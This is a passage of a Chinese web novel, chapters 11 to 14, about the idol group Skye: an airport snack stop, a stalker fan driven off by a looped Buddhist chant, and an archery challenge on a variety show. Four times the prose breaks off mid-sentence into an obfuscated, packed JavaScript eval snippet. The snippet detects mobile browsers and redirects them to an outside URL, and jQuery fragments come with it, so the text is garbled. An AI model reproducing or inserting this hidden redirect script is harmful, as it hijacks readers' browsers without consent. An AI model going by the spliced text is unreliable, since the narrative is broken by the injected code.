点餐员被过于阳光可爱的笑容暴击后回神,语气不自觉温柔很多,也笑起来:“好,好哦。”
提前做好的炸鸡翅存货不够,要等后厨现炸。
等待的几分钟里,柏林两只手抄在卫衣口袋里,晃晃悠悠地点着长腿,他可能是有点困了,闭着眼晃啊晃,看上去像一只棉花娃娃。
点餐员注意到他卫衣上的图案,是一只眯着眼打呵欠的猫咪。
她偷偷在内心脸红红地呢喃了一声,sos,好可爱喔。
邬珩尧给人感觉不是柏林这种亲和力很强的类型,主要跟他的长相有关系。狗狗相会让人觉得憨憨的,他是截然不同的另一种,就像人们会把狮子老虎称作大猫,却不会真的认为它们是猫。
柏林犯困,脑袋垂着闭目养神,邬珩尧面色维持在天然很凶的状态,实则没什么情绪波动的往前走了走——他比柏林高出一截,移动了两步之后,肩膀刚好可以接住柏林的脑袋,让他靠一靠。
点餐员嘴角不受控制地上扬了一下。
她无声扭过头,摸摸嘴角深呼吸,努力平复住笑意不要让两个人不自在。
听一万句别人怎么说,也不如亲自看一眼真人实际上私下的相处模式。
有关skye内部关系的挑拨离间通稿也不少,偶尔她也有刷到过,都说有图有真相,但图其实也是可以p的,恶意截图断章取义比想象中容易的多。
点餐员将餐点递过去的时候,看到柏林脑门在邬珩尧肩膀上压出一小块红印,忍不住笑笑多说了一句:“到飞机上可以睡会儿,一路顺风。”
柏林揉揉眼睛清醒了下,朝她比了个ok的手势,像朋友一样咧开嘴表示收到:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|9057899|87142||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知道啦,你也工作加油啊。”
点餐员一怔,在目送两个人离开后,拿出手机将柏林设置为了特别关注。她想了想,把skye的另外几个成员也都关注了。
在机场工作,她倒不是第一次遇到明星,只是跟对方有实际交流的确是头一回。
但她远远看过不少明星跟粉丝互动,有红的,有不红的,他们都跟柏林给她的感觉不一样。
怎么说呢,有些时候她作为旁观者看到的东西,能将不同的地方分辨的更清晰。
路人偶遇可能只是看到一次,但明星或许出道好多年,习惯了被人群簇拥,习惯了收到别人表达的喜爱,也经历过一些越线的围追堵截,感动和糟糕的负面体验都有过很多次。
习惯是很可怕的事,迁怒也是很难避免的。前者会让人对“喜欢”这种正向情绪不再珍惜,觉得不过如此,后者会消磨对粉丝或围观者的耐心。
每天都接收到大量的外界回馈,逐渐就会不当回事。站在对方的角度去看,她也能稍微理解,似乎能礼貌应对已经没什么可指摘的,但她还是觉得柏林让她感受到了雀跃与心动。
喜欢一个人,是会希望从他身上得到正向情绪的。被重视,见面了能偶尔交谈,试图靠近也不会有仿佛用力仰起头在看、费力踮起脚尖在追逐的感觉,这种感觉太美好了。
点餐员想,多见几次柏林,她容易把对人的标准拉高,以至于找不着对象。
不远处,邬珩尧伸出手接过袋子,从袋子里掏出一对鸡翅递给柏林。
邬珩尧:“咔咔咔。”
柏林:“咔咔咔。”
两个干饭人边走直接边开吃,对视时互相从对方眼里看到了满足和幸福的意味,脚步都轻快了不少。
吃饱喝足的柏林上飞机后,闭上眼抓紧时间开睡。
睡着之前,他无比欣慰地闪过一个念头:队内能有邬珩尧陪他一起深夜干饭,真是太好了。
两个人一起吃,总是比一个人独自吃更香的。
第 11 章
抵达酒店时天已然蒙蒙亮了,路透消息是瞒不住的,很快消息灵通的粉丝都得知了skye连夜匆匆抵达了旺角市。
《挑战不可能》早就透出消息会在旺角市落点拍摄,再加上原定嘉宾南屿在剧组出意外,skye临时改变行程,几个关键词叠加,粉丝不难得出结论——很快就有新综艺可追了!
节目组留出了一天半的休整时间,柏林久违地睡了一个好觉。他从天黑睡到天亮,又从天亮睡到天黑,像一个沙漠中行走了数日的人久旱逢甘霖,睡得昏天黑地。
柏林特意叮嘱队友们没事不用叫醒他,在睡梦中错过了三顿饭,是被饿醒的。
他刚醒过来的时候有点分不清今夕是何年,摸索着打开床头灯确认了下时间,又点开微信消息刷了刷有没有工作上的问题,清醒了不少。
凌晨四点点不着外卖,柏林睡不着了,先洗漱。
他爬起来用凉水拍了拍脸,神采奕奕地照了照镜子。
神清气爽,跟证件照上十八岁的时候没多少差别。稀里糊涂的脑子清醒了,熬夜导致的腰酸背痛消失了,他原地蹦跶了两下,做了简单的拉伸,打开了b站上少林师傅演示的八段锦。
这位少林师傅在b站上挺火的,去年还入选了百大up主,坐拥很多会一键三连的网民施主跟着他一起强身健体。
柏林常年练舞蹈,基本功扎实,坚持跟着up一起练了有一阵,体感的确有很好的健身效果。
当然,像柏林这样真正付出行动的不多,热评第一往往是:“看过等于练过,进我的收藏夹吃灰去吧!”
看视频的网友目的不纯,有的是为了“吓唬一下自己身上的脂肪”点开的,也有为高冷小师傅不食烟火的颜值和斯哈的身材点开的,天天妄图在评论区用言语调戏up主,特别会吹彩虹屁的铁粉会得到up充满无语意味的回复:“。”
柏林跟着舒缓的音乐打了一套,背后出了一层汗,由内而外的发烫。
舒服!
刚喘口气的功夫,柏林抓着T恤下摆往上掀,准备去冲个澡。
就像卡着点在等他一样,房间门被敲响了。
……这个时间点,谁?
柏林动作一顿,嗖地将衣服又放了下去。原地思索片刻,他轻手轻脚地靠近门口,朝猫眼看去。
凑到猫眼前面的柏林屏住呼吸,刚好对上一只放大了的眼睛——放大的瞳孔黑漆漆的,纤长浓密的睫毛缓缓眨了两下,特别像什么恐怖电影的经典镜头。
柏林吓了一跳,下一秒把脸怼到猫眼前的人往后退了半步,歪头晃了晃手里的袋子,仿佛能隔着门看到柏林一样:“是我,韩宇哲。”
柏林一口气不上不下,抓了抓头发开门:“……你怎么来啦?”
韩宇哲的目光在他被汗浸湿的领口停顿了一瞬,慢悠悠地举起袋子,回答问题:“给你送吃的。”
柏林看过去,闻到了饭菜的香气,肚子不争气地咕噜了一声。
安静的走廊里,这一声可谓是真正的“荡气回肠”,格外响亮。
柏林脸刷的红了:“……”
韩宇哲淡定地看着他,看不出什么尴尬的情绪,只是用肯定句慢条斯理道:“你看,你果然饿了。”
柏林镇定地接过他手里的袋子,语速飞快:“……先进来吧。”
他开门放韩宇哲进来,探头朝走廊里看了看,确保没有更多人看到他社死后,放心地关上了门。
韩宇哲一进房间,就找了个沙发窝了进去,嗓音里带着点懒洋洋的沙哑:“睡够了?”
“嗯嗯。”柏林目露期待地打开外卖盒子,里面是三菜一汤,意大利面,还有一份提拉米苏,都是他喜欢吃的。
饭菜是滚烫的,还冒着热气。提拉米苏则是冰冰凉,一点都没有化掉。
柏林下意识用常理思考问题,嘴比脑子跑得快:“哇,怎么买到的?现在应该很难找到送餐的地方。”
“嗯。”韩宇哲看着他唇角轻挑,轻描淡写地道,“刚刚出去了一趟。”
柏林后知后觉意识到了什么,微微张大嘴巴,试探着比划:“你该不会是……?”
韩宇哲撑着脑袋,半眯着眼睛休息:“嗯,我听见你醒了,去了一趟意大利。”
柏林:“……!!!”
尽管知道自己的队友们都不是普通人类,但轻松往返两个相隔万里的地方,还是让柏林的世界观再一次受到了冲击。
他默默咬着叉子瞄了瞄韩宇哲,寻找措辞:“呃,你不用为了给我买吃的跑那么远的。会不会很消耗力量?”
韩宇哲懒懒回答:“不会。来回只用了二十分钟,其中十九分零五十九秒,是为了等外卖做好打包。”
柏林神色恍惚,流露出一点羡慕向往的神色:“……啊,好方便的能力。”
“你想去?”韩宇哲默不吭声地注视着他,微笑着许诺,“你想去哪里,我都可以带你去。无论何时何地。”
柏林抽回思绪,想也不想地埋头干饭拒绝了:“算啦,我还是等公司给我放假之后,自己坐飞机去。”
他默默想,跟恶魔做交易,谁知道会不会需要付出什么代价呢。
而且——刚刚韩宇哲透露出来的话印证了柏林的猜测:队友们的五感敏锐度跟他不在同一个维度,哪怕睡在不同的房间,他一醒过来,韩宇哲立刻就察觉到了。
柏林没什么不能被人知道的秘密,但当他清楚地意识到一举一动会被人时时刻刻感知得清清楚楚,干饭的快乐都削减了很多。
他肉眼可见地蔫巴巴,有心事的样子。韩宇哲不蠢,盯着他看了一会儿懒洋洋道:“不用担心,你想的事不会发生,我们之间有约法三章。”
柏林腮帮子鼓鼓地抬头瞅着他,含糊不清重复:“约法三章?”
?“不是你和我之间的那个。”韩宇哲摇头没有多说,微微眯起眼一语带过,只是道:“是我和他们几个之间有约定,不会窥探你独处时的生活。”
似乎是不希望柏林有压力或是不相信,韩宇哲眼眸深邃,悠悠补充:“恶魔缔结的约定与承诺是绝对的,不可违背。所以你不必担心。”
“我知道你起来了,是听到了八段锦的背景音乐。”韩宇哲找了个舒服的姿势往沙发里窝了窝,“你早上经常听这个。”
柏林彻底放松下来,“哦”了一声,丝毫没有怀疑韩宇哲话语的真实性,高高兴兴专心干饭。
倒是韩宇哲微微挑眉:“我也有可能是在说谎。你这么轻易相信我?”
柏林擦了擦嘴角沾上的番茄酱,掰着手指给韩宇哲数:“你觉得我饿了第一时间来给我送吃的,还专门跑到意大利去买外卖,你有多不爱动弹我最清楚了。你还记得我喜欢吃意大利面和提拉米苏……我想不到你有什么必要在这种事情上骗我。”
韩宇哲心情似乎不错,一声不吭地看着柏林喝完最后一口汤,满足地弯起眼睛叹息,像一只晒过太阳后餍足的猫。
柏林将提拉米苏放在饭后享用,快乐的情绪从他的灵魂中传递出来,让他在韩宇哲的视野中,像是一颗光芒耀眼的太阳。
见到柏林的第一面,韩宇哲就察觉到了柏林的不同。
无数个黯淡无光的灵魂中,他永远炙热明亮,始终纯粹,散发着一种无与伦比的吸引力。
对韩宇哲来说,就像是……柏林手中的那块蛋糕。无比香甜诱人,一直在韩宇哲的眼前晃来晃去。
慵懒窝在沙发里的韩宇哲垂下眼睛,喉结上下滚动了一下,黑漆漆不透光的眼睛漩涡般幽深。他用欣赏的眼神直勾勾地盯了柏林一会儿,若无其事地别过头去。
他懒洋洋地轻声提醒:“门口有个小老鼠。”
柏林咬着勺子蒙圈地抬头:“嗯?”
韩宇哲没说话,柏林很快反应过来——因为他们不是第一次遇到这种事了。
柏林站起来,不太放心地嘱咐队友:“你什么都别做,我来处理。”
韩宇哲看上去很老实地答应:“哦。”
柏林起身朝门口走过去,透过猫眼看到了一个戴着口罩和鸭舌帽的人,正在鬼鬼祟祟在门口确认着什么——紧接着,这个人看了看周围确定没人,不计形象地蹲下来,试图透过门缝往里看。
Skye的行程捂不住,私生闻着味就追过来了。
柏林无奈地思考了片刻,干脆地在门口的地毯上盘坐了下来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|9059742|87142||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,掏出手机。
韩宇哲窝在沙发里一动都没动,饶有兴趣地沉默看着柏林的动作,想知道他要怎么做。
门外的私生似乎很确定这里就是skye休息的房间之一,在扒门缝遗憾地发现看不到什么之后,不轻不重地敲了敲门。
咚咚。隐含兴奋地声音隔着门同时模糊传来:“柏林,你在里面吗?”
门口的私生心跳加快,有种沉醉的激动感。
私生幻想着柏林会不会正在睡梦中,听到声音后会不会害怕,会不会开门温柔细语的劝她“不要这样”……肯定会的,柏林是那么好的人,从未有人见他生气过,他甚至不会骂她的。
确信柏林是什么样的人,私生有恃无恐,满含期待。
然而下一秒,私生听到门从里面同样被敲响了。
咚咚。连节奏感都把握的跟她刚刚敲的一模一样,跟对暗号似的。
紧接着,柏林的声音传来,嗓音轻快:“我在啊。”
私生狂跳的心脏缓了半拍:“……?”
……怎么回事,这跟她预想的情况有点不太一样。
他怎么不怕啊??
私生组织好的语言全都被打乱了,她设想了很多种柏林可能会有的反应,唯独没有这一种——他没有开门,他好像早知道门外有人,他还挺淡定。
这出乎意料的应对让她迟疑地卡壳了半天,才重新理顺语言系统:“柏林,你这个时间怎么没睡觉啊?”
柏林跟她隔着一道门,回答的很快:“你不是也没睡嘛。”
私生:“……我是因为要来找你呀。”
柏林:“你不该来找我的。”
听到这句话,私生反而松了口气,感觉好像味儿终于对起来了,莫名踏实许多:“可是我想见你一面。”
房间内沉默了一会儿,私生耐心地等待着,想象了一下柏林的表情,又开始心跳加快。
查信息花了不少钱,就是为了这一刻隐秘的刺激感。
柏林:“抱歉,我不能跟你见面。”
柏林:“我给你放首歌听吧。希望听完这首歌,能让你决定以后只在公开的场合碰面。”
私生眼睛猛地亮起来:“你是要给我放你的新歌听吗,哇!”
就在私生蠢蠢欲动,试图跟柏林再多说两句逗逗他的时候,突然从房间内传来一阵音乐声——她为了听清柏林说话,正将耳朵贴近房门,对方似乎是将手机直接按在了门上,并且调大了音量。
她兴奋地仔细去听,等听清播放的是什么,表情不由得古怪起来。
柏林给她放了一首《大悲咒》。
凌晨四点坐在空荡荡的走廊里,隔着一道门听爱豆给她放《大悲咒》的私生:“……???”
柏林耐心地将手机贴着门板播放,音量不大,尽量不给邻居造成困扰。
经历过几次后,柏林清楚诚恳地拜托与劝说都没用,他试过了。
希望这首《大悲咒》放完,私生能够痛改前非,不再做这样的事。
如果私生不愿意走的话,柏林打算今天就跟对方耗在这里,他已经设置了单曲循环,不知道对方能坚持听到第几遍。
为了能在线听这首歌,柏林还临时冲了个会员。
这年头真的是太现实了——佛门普度众生也是要交香火钱的,新时代佛祖只渡vip。
半个小时后。
韩宇哲表情难得有些微妙,轻声告知:“……她走了。”
走得很干脆,表情很崩溃,头也不回地跑了。
在这中间,她试图跟柏林自言自语好几回,又试图让柏林关上这音乐好几回,都没有得到回应。
柏林后来听的遍数多了,逐渐能记住点歌词,很高兴地跟着一起唱。
韩宇哲转述:“你跟着唱的那一刻,是她暴走怒而离去的节点。”
柏林:“……”
他挠挠头:“啊。我觉得我唱的挺好听啊?”
迎上柏林期待求证的视线,韩宇哲顿了一下,淡定点头:“嗯,好听。你喜欢的话,可以再唱一遍。”
柏林傻笑着摸了摸眉心,心情很好:“不了,留到下次用得到的时候再唱。”
第 12 章
节目组没有提前透露消息给嘉宾,不过一到达录制地点,柏林就大概猜到会是什么类型的挑战了。
车子停在户外体育馆门口,节目组将场馆包了下来,以确保录制不会被中断或打扰。
现场提前布置完毕,能看到三处距离不一的位置固定着箭靶。
拿着一把弓箭的青年跟主持人站在一起,面对镜头稍显寡言地朝skye点头示意。
彼此初次碰面,礼貌寒暄简单带过后,主持人熟练地念了一长串开场白,主要是感谢赞助商金主爸爸。
这档节目出了名的节奏快,主持人单刀直入进入正题:“今天我们请来的是李光旻老师。李老师曾在世界射箭锦标赛中获得过一银一铜的好成绩,退役后成为了一名自媒体博主,开发了很多有意思的挑战。”
“今天他给我们的嘉宾带来了三项挑战,难度由低到高,下面让李老师来给大家具体介绍一下。”
李光旻接过话头,刚才他大多数时候都在保持沉默,到了自己熟悉的领域明显放松了不少。他举起自己手里的弓箭示意:“世界射箭锦标赛使用的是反曲弓,今天让大家挑战的是复合弓。”
Skye的站位不固定,都是随意的。柏林原本站在队伍末尾,离李光旻最远,打从李光旻开始讲解后,柏林就果断地从队友们背后一溜小跑绕到了最前面,探出个脑袋认真听。
队友们隔着多远都能听清,只有柏林离得远了就听不清楚。
站在李光旻身侧的江枢苒贴心地往旁边挪了半步,给柏林腾出了一个位置站。
成功“插队”的柏林朝江枢苒小声道谢,转而聚精会神看向李光旻。
余光感受到柏林充满好奇和求知欲的眼神,李光旻不由得有点想笑,联想到了会跑到讲台上问问题的好学生。
本来打算随便讲讲的,既然有人捧场,李光旻讲解的动力多了不少,语调不再是毫无波澜的平铺直述,抑扬顿挫:“复合弓比反曲弓更适合没有基础的情况,滑轮结构可以节省力量,同时将极限拉高了差不多一倍。举个例子,原本五磅的拉力,在滑轮的加持下,相当于十磅。”
队友们都没什么特别的反应,只有柏林点点头表示明白:“事半功倍。力量大了,箭就能射得更远。”
李光旻笑了:“对,是这个道理。”
事实上,柏林知道队友们不是不认真听,而是你不能指望非人类通读九年义务教育,也不能指望他们当下弄明白五磅和十磅的力量有什么区别——跟人鱼/吸血鬼/恶魔/狼人讲滑轮原理,告诉他们通过滑轮结构可以节省力气,纯属对瞎子抛媚眼,跟橘猫探讨贝多芬。
柏林继续眼睛亮晶晶地提问:“这个是什么?”
李光旻有问必答:“撒放器。这也是复合弓相较反曲弓对新手友好的地方,能提高稳定性,准确度自然也随着提升。”
老师讲课是否负责任一定程度上取决于学生的态度。
李光旻在来之前看了几期已播出的节目,虽说有噱头在,到底就是综艺节目,不是竞技比赛。嘉宾的态度因人而异,认真对待的没几个,大都是前期看着认真,后期挫败感一上来就缴械躺平做对照组,把自己摆在很谦虚的位置上,对能人异士大力称赞表达心服口服。
这样不会出错,但李光旻不太喜欢工具人,他更喜欢勇于突破自我,第一反应不是打退堂鼓、反倒跃跃欲试的性格。
上通告拿钱不寒碜,李光旻想着陪明星糊弄一下午走个过场就算完了,也没打算要求太高。剪辑能作假,观众看个热闹,明星赚个话题,他赚钱养爱好,大家各取所需皆大欢喜——
这一切想法在李光旻看到柏林后有所转变。
柏林仿佛行走的《十万个为什么》,问了他一大堆问题,表现出了极大的热情,看得出是在认真吸收琢磨的。遇上好学的学生,李光旻心中油然而生一股欣慰与成就感。
他不自觉上心许多,逐渐有点倾囊相授那味儿了,边讲边示范。
“……像这样。”
他呼吸平稳,拉开弓的时候手丝毫不抖,瞄准,释放,一气呵成。
破空声微乎其微,箭矢笔直地射出,正中靶心。
柏林惊呼:“哇!!”
每个嘉宾都有单独的follow pd,记录个人画面,负责拍摄柏林的摄像师看着镜头里惊叹兴奋的表情,嘴角没忍住有些微微上扬:头一次见到这么捧场有活力的嘉宾,每一寸表情走势都是向上的。
小房间里看九宫格画面的导演也笑了,以前跟skye合作过别的项目,柏林果然还是跟以前一样。能在这节目里看到真心实意拜师的嘉宾,不是演一演就算了的那种,导演很高兴。
柏林眼含期待举手:“李老师,我可以试试吗?”
李光旻摇头:“节目组说不能提前练习,因为要统计从纯新手第一次拉弓、到完成挑战需要累计尝试多少次。”
“哦哦。”柏林点头,很会抓重点:“那我们开始吧!”
李光旻忍俊不禁:“别着急,我讲讲规则。”
小房间里看显示屏的导演感叹:“刚接触的时候,我以为李老师是那种不苟言笑的类型,没想到还挺爱笑的。”
Skye就是副导演坚持提议请过来的,闻言笑眯眯地抿了口茶:“那是,铁树到了我们小林跟前也要开花的。”
导演无语凝噎:“你这语气好像柏林他爸。”
副导演:“我巴不得柏林是我儿子……”
他说完卡壳了一下,严谨补充:“没有占便宜的意思。”
导演嘴角抽动:“……”
他严重怀疑副导演选人的时候夹带私货。
两人插科打诨调侃的功夫,李光旻已经讲完了第一项挑战。
箭矢要先穿过悬挂在距离起点15米处的铜钱孔,再击穿放置在距离起点30米处的骰子——三个方块状骰子叠放起来,需要精准击落中间的那颗骰子,且剩余两颗必须继续保持叠成一注的状态,不能掉下直径为五公分的放置台。
这是三个挑战中,最简单的一个。
果真就像节目名字那样,几乎是不可能完成的任务。
高速摄像机已经架好了,能够精准捕捉图像,每秒250帧的帧速率,随时可以慢放查看。
柏林听完微微睁大眼睛。
李光旻忍不住绷住表情,一脸严肃地逗他:“怕了?”
柏林眼睛亮亮的,不假思索:“多有意思啊!成功的话证明我很厉害,失败了也不丢人。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|9061574|87142||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
保持安静的工作人员听完一愣。
习惯看到一个个嘉宾做出被挑战项目震到的神情,表情裂开会很有综艺效果,连连摇头退缩或笑着表达崩溃也会跟能人异士形成反差,像柏林这样简单直率,直接表达反而更想尝试了的嘉宾,他是目前唯一一个。
其实不难理解。已经成名了的艺人,多数有包袱,想得多,给自己设限也就多。担心贸然尝试丢人,担心跟人设不符,担心表现得太有自信后面出丑,担心表现得太没自信看着憋闷。
柏林完全不在乎这些。
他说完看了一圈队友们,问他们想不想先试,队友们示意他先来,柏林就从李光旻手中接过了复合弓。
回忆着刚刚学的内容,柏林调整了一下握弓的姿势、站位,毫不犹豫地直接拉弓。
现场的工作人员看着这一幕,肾上腺素久违地向上飙升,心跳随着快了半拍。
每个人仿佛都在柏林身上看到了独属于少年人的爽朗无畏。
成年人想东想西,少年人只大笑着奔向太阳。
柏林拉弓,瞄准。整个动作没有丝毫卡顿,他拉满弓,冷静地闭上一只眼睛调整方向——
箭矢如同一道飞速划过的流星,锐利地向前飞去。
他拉弓的姿势带着初学者的生涩,不标准,但很认真。
韩宇哲慵懒半睁着的眼睛眯起,望向柏林。
在他的视野中,柏林的灵魂如夜空中无法轻易直视的曜日,灼灼耀目,熠熠生辉。
人类弱小,在于他们拥有太多的恐惧。
韩宇哲从未试图理解人类,他们害怕太多虚无的东西,在乎别人看待他们的眼光,在意自己的选择是否与绝大多数人相同,害怕鹤立鸡群,不欲特立独行,担忧树大招风。
每个灵魂最初都是不同的,但人类在极力让自己看上去跟周围的人完全相同。
人类成长的过程,大多是在将自身独一无二的地方涂抹上统一的颜色。
不是每个人都拥有干脆放手让箭矢飞出去的勇气。
破空的箭矢留下一道弧线,飞行一段距离后不断下坠,最终当啷掉落在了地上。
箭矢没有击中铜板,斜斜地越过了目标落点,射偏了。
柏林挠挠头,新奇地攥了攥指尖:“射箭果然好酷啊!”
以为柏林会尴尬或失落的李光旻一怔,笑容扩大:“对吧,没什么好怕的。”
心理素质在射箭与射击类赛事中,也是很重要的一环。很多选手实力很强,心态不好,到了赛场上就紧张到大脑一片空白,手指会不受控制地发抖。
微小的变化就能影响最终结果,哪怕是抖一点点,箭矢都会偏离。
李光旻想,这个道理很简单,但很多人都做不到。
柏林握着弓箭,跟一边正看着他的邬珩尧咬耳朵:“你要试试吗?”
节目组准备了数量足够的复合弓,场地中设了契合人数的靶子,可以让李光旻和skye五个人同时练习。
邬珩尧抱着胳膊,低头凑近柏林耳边,低声回答:“我可以试,但力量不好精准掌控。我不能保证,这一箭会不会以这里为起点,横穿亚欧大陆。”
柏林瞳孔地震,摸摸鼻子果断握紧了弓:“……放着我来!”
第 13 章
户外综艺为了收音,每个人都提前装备了随身麦,也就是综艺里经常出现在嘉宾领口的毛茸茸小球,设备别在后腰,衣服一放下来就遮挡住了。
柏林和邬珩尧你来我往的这段“悄悄话”,自然也很清楚地收录进去了。
导演:“……邬老师还是那么幽默。”
Skye这个团由于颜值过高,乍一看容易给人一种不食人间烟火的假象。深入了解之后就会发现,五个人都不是那种被供在神坛上的假人,多少有点幽默在身上的,尤其喜欢冷不丁冒出一句冷笑话来逗小林。
相声不是每一个逗哏和捧哏都能擦出火花,但skye的每一个成员都可以轻而易举地骗到柏林。
导演第一次跟skye合作录制综艺那会儿,就发现了柏林这孩子似乎有点缺根筋。
多离谱的玩笑柏林都会特别真情实感的相信,被队友们忽悠的一个愣一个愣的。
粉丝曾经在skye的队内冷笑话上热搜时,整齐划一的排队在实时广场上玩梗:[飘了,总觉得我也能靠一颗糖拐跑小林]x10086。
风评被害的柏林:众人皆醉我独醒,就是需要承受一些舆论上的调侃,不解释是我最大的温柔。
按照节目流程,李光旻要率先完成对挑战项目的示范。
他坦诚地事先申明:“我也不能保证一次性成功。”
射箭跟打球差不多,技术是一方面,当下的手感也很重要。
Skye中对外最官方的江枢苒顺着对方的话外之音点头:“理解。”
挑战是李光旻带来的,他比谁都更希望能一次成功,也能通过节目更进一步打响名声。
柏林看出李光旻有顾虑,挥手鼓励:“老师加油!”
李光旻定了定神,吐气,吸气,拉弓。
离弦的箭如一道鸿光,自十五米外的铜钱孔中顺利地轻巧穿过,气势凌厉地击落了叠放在中间的第二颗骰子——最上方的骰子自然下落,被箭风带起稍有后移,但到底是稳稳落在了底部的骰子上。
状态绝佳,没在关键时刻拉胯。
李光旻吐出口气,看着柏林笑起来:“接下来,到你们了。”
柏林好奇地举手示意:“李老师,可以问问你从尝试到完成挑战花了多长时间吗?”
“不好说,我的情况跟你们不一样,没有参考价值。”李光旻想了想很实诚地回答,没有吹嘘抬高自己,“我是从小进了青训队,练习射箭超过十年,基本功扎实,比赛经验也很多。退役后暂时不想做教练一类的工作,就开始琢磨新鲜有意思的、能吸引大众视线的方式推广射箭这项运动,才有了这些五花八门的挑战。”
柏林点头:“明白了。”
两人说句话的功夫,队友们已经开始挑选趁手的弓箭了。
邬珩尧的话还回荡在柏林的脑子里,他看着队友们一个个走过去各自拿起一副复合弓,难得流露出一丝担忧的神色:不是担心队友们完不成挑战,而是忐忑旺角市可能承受不来。
作为一个繁华安逸的旅游城市,旺角市罪不至此。
柏林不放心地背着手凑过去,欲言又止地往左看看正上下打量着弓箭的花言,又往右看看若有所思地掂量着重量、慢吞吞将手搭在弦上的韩宇哲。
察觉到柏林的视线,花言视线下垂瞥了他一眼,嘴角不着痕迹地上挑:“我先来吧。”
柏林用手捂住自己的随身麦,稍显紧张地拽了拽花言的衬衫一角,等他顺着力道微微侧过脸靠近他,压低嗓音小声确认:“……没问题吧?”
花言桃花眼轻扬,轻描淡写地笑了一下:“嗯。”
柏林迟疑地松手,默不作声地看着花言随便挑了个位置准备,戳戳站到他旁边的邬珩尧,开始怀疑:“你能控制的,你们都能,对不对?”
邬珩尧的金发在阳光下格外晃眼,他痞里痞气地歪斜卷起一边唇角:“你猜。”
柏林:“……”
我是真的人,你还不如真的狗。
他在心里飞快闪回了一遍大悲咒:佛祖保佑旺角市,我愿再充一年vip以示虔诚。
按导演的意思,也是让五个成员依次先尝试上手一次,轮流来方便多机位拍摄以及后期剪辑。完成第一次尝试之后,出于节省时间提高效率的考虑,就可以同时练习了。
不止柏林的视线落在花
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|9064069|87142||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
言身上,各个方向的镜头都对准了他。
导演组没有刻意要求skye的着装,花言也不爱穿方便活动的运动服,依然很爱豆:敞着领口的花衬衫,耳钉,项链,戒指,拉开弓箭的手指苍白纤长,腕间随着动作垂落下来的银色手链轻轻晃动,折射出璀璨耀眼的日光。
花言不喜欢日光。
他皱眉将眼睛眯成一条缝,感觉到暴露在外的皮肤都像在燃烧一样发烫——不会对他造成什么实质性的伤害,但会让他浑身不爽。
刚才他一直站在放置复合弓的架子不远处,临时搭建的棚顶多少管点用,聊胜于无。
头顶处突然落下一道影子,阴影笼罩住了他,隔绝了炙热的阳光。
花言偏过头。
柏林正站在他身后半步的位置,手里稳稳地握着一把遮阳伞,努力高高举起帮他挡住刺目的光线。
花言其实听到了。柏林跟工作人员解释了一下花言有轻微的阳光过敏症,借了工作人员的伞一用。所以他没有立刻将箭射出去结束这一趴,而是装作在瞄准的样子,耐心等他朝自己跑过来。
柏林见他回头,露出一个稍显傻气的笑容,提醒他:“复合弓会将本身的力量放大一倍。”
花言站在伞下,视线扫过柏林被阳光整个晒到的脸,“哦”了一声。
他站姿随意松弛,没有按照李光旻说的那样站立,被伞笼罩过后,整个人都散发出一种慵懒颓靡的气质。
只是松垮的衬衫袖口随着动作向后滑落,露出一截优美流畅的肌肉线条。
唰。
箭矢移动的速度太快,柏林凭借肉眼只看到一道迅猛锐利的弧线势不可挡,快到铜钱仿佛都未能第一时间察觉到箭矢经过,延迟了片刻才随之轻微晃动。
摄像师看到的更清晰。
方才李光旻只是将中间的那颗骰子击落,骰子表面受损,但大体还是完好的。
而花言射出的箭矢锐利无匹,凶狠的力道竟然一瞬击穿了骰子。
箭矢将骰子带出去数十米才落地,而滚落在地面上的骰子中心留下一个跟箭矢形状契合的洞,边缘光滑,除接触点以外的部分丝毫没有裂痕。
第 14 章
以雷霆之势破空而出的一箭,镇住了在场的所有人。
毫无铺垫,没人对这种情况有所预料,以至于一时间反应不过来。
负责现场查看的工作人员傻眼的愣了半天,直到耳麦里传来一连串的催促声,才如梦初醒地跑过去捡起了被洞穿的骰子,送到李光旻这边,激动的手抖。
李光旻神情恍惚:“……”
